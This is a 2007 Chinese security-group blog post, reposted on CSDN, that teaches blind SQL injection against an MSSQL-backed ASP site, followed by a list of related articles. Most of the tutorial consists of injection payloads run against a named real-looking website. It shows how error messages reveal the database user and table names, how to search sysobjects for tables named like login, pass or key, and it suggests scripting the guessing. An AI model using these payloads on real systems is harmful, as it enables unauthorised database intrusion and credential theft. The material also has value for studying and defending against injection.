活地运用SQL Injection做数据库渗透

原创 2007年09月12日 03:22:00
活地运用SQL Injection做数据库渗透

文章作者:cawan
信息来源:邪恶八进制安全小组

如何灵活地运用SQL Injection做数据库渗透的一种思路

如今,很多关于mssql数据库的渗透技巧已不能有效地获取有用的数据值。比如在一个怀疑是注入点的地方

www.xxxxx.com/blog.asp?id=4

当加入" ' "符号进行注入测试时,

www.xxxxx.com/blog.asp?id=4'

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4? to a column of data type int

我们知道它不对" ' "符号进行过滤。再用如下语句测试,

http://www.aquavelvas.com/blog.asp?id=4 and 1=1

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value '4 and 1=1' to a column of data type int

好,再来继续测试,

http://www.aquavelvas.com/blog.asp?id=4'%20and%20'1'='1

这次出错讯息不同了,如下

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and '

我们的" ' "符号加对了,再继续测试,

http://www.aquavelvas.com/blog.asp?id=4'%20and%20user>'0

出错信息如下,

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and user>'

应该是语法不允许直接回值,是不是不能再继续了呢?想想其他办法,就看user值的长度吧,

http://www.aquavelvas.com/blog.asp?id=4'%20and%20len(user)>'0

出错信息是,

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 1: Incorrect syntax near ' and len(user)>'

好,我们知道如果出错信息是Syntax error...或Either BOF or EOF is True...的话,那语句在逻辑上是错的;而如果出错信息是Incorrect syntax...的话,那语句在逻辑上就是对的。当处理len(user)>0,凭着刚才的想法,我们知道在逻辑上这是对的。

我们试试逻辑上错的语句,

http://www.aquavelvas.com/blog.asp?id=4'%20and%20user%20'1'='2

果然,出错信息是,

Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record

从len(user)>0这语法的基础上,我们得知user的长度是7,之后再用left(user,1)=a这语法来猜出user名是
thomasa。再用db_name()这个function,我们可猜出数据库名。


好了,如何猜表名呢?就先猜表名的长度吧,

就用如下语句,

len(select top 1 name from sysobjects where xtype='U')>10
len(select top 1 name from sysobjects where xtype='U')>9
len(select top 1 name from sysobjects where xtype='U')>8
...

(猜表名的工作是很烦人,建议用perl写个script来玩玩)

再猜表名,

left((select top 1 name from sysobjects where xtype='U'),1)=a
left((select top 1 name from sysobjects where xtype='U'),2)=ab
left((select top 1 name from sysobjects where xtype='U'),3)=abc
...

好了,我们知道第一个表名是'geoipcountrywhois' (知道为什么我建议写个perl script吧!)

再继续猜表名,

len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>10
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>9
len(select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')>8
...

left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=b
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=l
left((select top 1 name from sysobjects where xtype='U' and name not in ('geoipcountrywhois')),1)=o
....

好第二个表名是blog,之后的表名可用('geoipcountrywhois','blog')来继续猜,然而,这显然不是好办法。为什么我们不进行搜索呢?

如何搜索呢?就用如下的语句吧,

(select count(*) from sysobjects where xtype='U' and name like '%login%')=0
(select count(*) from sysobjects where xtype='U' and name like '%pass%')=0
(select count(*) from sysobjects where xtype='U' and name like '%key%')=0

(记得将" % "这符号换成" %25 "才是正确的输入)

好了,通过逻辑上对或错的判断,我们也可以对数据库进行渗透,不再局限于回弹显示值。

希望这思路能开阔注入技术的演变。

cawan

[渗透测试] MySQL

MySQL通常运行在Linux、FreeBSD服务器的TCP3306端口。 一、MySQL枚举 $telnet 10.0.0.8 3306 Trying 10.0.0.8... Connected...
  • hitwangpeng
  • hitwangpeng
  • 2015年05月28日 17:05
  • 1050

MyBatis与Druid数据库连接池集成监控统计后WallFilterSQL注入异常问题处理方案

数据库连接池使用的是阿里巴巴的Druid(德鲁伊)。项目中启用了Druid的统计管理,在执行批量修改时提示;Caused by: java.sql.SQLException: sql injectio...
  • boonya
  • boonya
  • 2017年04月18日 17:35
  • 4175

渗透攻防Web篇-SQL注入攻击初级

前言 不管用什么语言编写的Web应用,它们都用一个共同点,具有交互性并且多数是数据库驱动。在网络中,数据库驱动的Web应用随处可见,由此而存在的SQL注入是影响企业运营且最具破坏性的漏洞...
  • supernewer1995
  • supernewer1995
  • 2016年09月21日 21:07
  • 638

绝对干货:解密阿里巴巴“异地多活”技术

http://servers.pconline.com.cn/721/7215376.html 编者按:11月16日,阿里“双十一”技术分享会上,阿里巴巴技术保障部研究员林昊详细解析了“异地多活...
  • liuhex
  • liuhex
  • 2017年01月19日 16:30
  • 234

SQL Sever无法连接到本地数据库解决办法

打开SQL Server配置管理器启用下图两个协议打开SQL Server服务这一步可能出现这种情况:故障原因是,安装Visual Studio 2012的时候,自动安装“Microsoft SQL ...
  • bo_meng2625
  • bo_meng2625
  • 2016年05月24日 10:10
  • 1041

19个方便渗透测试的Chrome扩展

Google Chrome是目前世界上最流行的浏览器之一,简洁的界面让他俘获了许多用户,除此之外还具有许多改善浏览体验的功能。与Firefox一样,Chrome也支持插件,称之为“扩展”,这些扩展程序...
  • mydriverc2
  • mydriverc2
  • 2014年12月19日 21:43
  • 3115

【基础知识思考整理 】MySQLSQL注入(SQL Injection )和防注入

基础知识思考整理 http://blog.csdn.net/aganlengzi/article/details/51345294 原理: SQL Injection就是利用某些数据库的外部接...
  • aganlengzi
  • aganlengzi
  • 2016年07月17日 16:12
  • 824

DVWA平台的sql注入学习

概念 SQL攻击简称注入攻击,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常...
  • wenjie93
  • wenjie93
  • 2015年03月06日 16:06
  • 2187

SQL的注入式攻击方式和避免方法

出处:http://www.cnblogs.com/xyd21c/archive/2010/12/09/1901140.html感谢分享 SQL 注入是一种攻击方式,在这种攻击方式中,恶意代...
  • nawuyao
  • nawuyao
  • 2016年09月18日 09:34
  • 2955

SQL注入原理讲解,很不错!

原文地址:http://www.cnblogs.com/rush/archive/2011/12/31/2309203.html 1.1.1 摘要 日前,国内最大的程序员社区CSDN网站的...
  • AustLittleCao
  • AustLittleCao
  • 2014年11月26日 15:40
  • 630
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:活地运用SQL Injection做数据库渗透
举报原因:
原因补充:

(最多只允许输入30个字)